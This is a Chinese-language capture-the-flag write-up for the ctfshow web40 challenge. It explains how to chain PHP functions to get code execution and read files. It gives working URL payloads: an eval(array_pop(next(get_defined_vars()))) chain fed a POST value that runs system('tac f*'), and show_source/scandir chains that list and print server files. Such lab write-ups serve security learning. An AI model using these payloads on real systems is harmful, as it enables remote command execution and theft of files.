PHP仅用函数实现执行命令或读取文件
# ctfshow web40 命令执行_php变量函数
使用php函数让服务器接收并执行自己的命令,获取权限或读取文件
# 执行命令
get_defined_vars() # 获取所有系统定义的变量,用户定义的变量,post,get,file等,返回一个数组
next() # 指向数组中变量的指针
array_pop() # 弹出数组中最后一个元素
eval() # 执行表达式或参数字符串命令
1
2
3
4
2
3
4
从里到外构造一下,执行最后一个定义的变量
连起来构造:
payload:url/?c=eval(array_pop(next(get_defined_vars())));
这个c的值会先获取服务器定义的所有变量,再利用这个数组的栈机制和next指针,获取服务器最后一个变量并执行
构造完,他的变量数组最后一个定义的什么以及他会执行什么我们都不知道,用post给他传一个1=system("tac f*"); 作为最后一个变量并执行
# 读文件
getcwd() # 函数返回当前工作目录。它可以代替pos(localeconv())
localeconv() # 返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为"."
pos() # 输出数组第一个元素,不改变指针;
current() # 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
scandir() # 函数返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录
array_reverse() # 数组逆置
next() # 将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source() # 查看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
2
3
4
5
6
7
8
9
10
11
12
13
14
15
每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。
提示:该函数不会移动数组内部指针
payload:url/?c=show_source(next(array_reverse(scandir(getcwd()))));
payload:url/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
船新玩法var_dump函数,待解锁!
类似函数var_export
编辑 (opens new window)
最后一次更新于: 2024/09/07, 22:30:21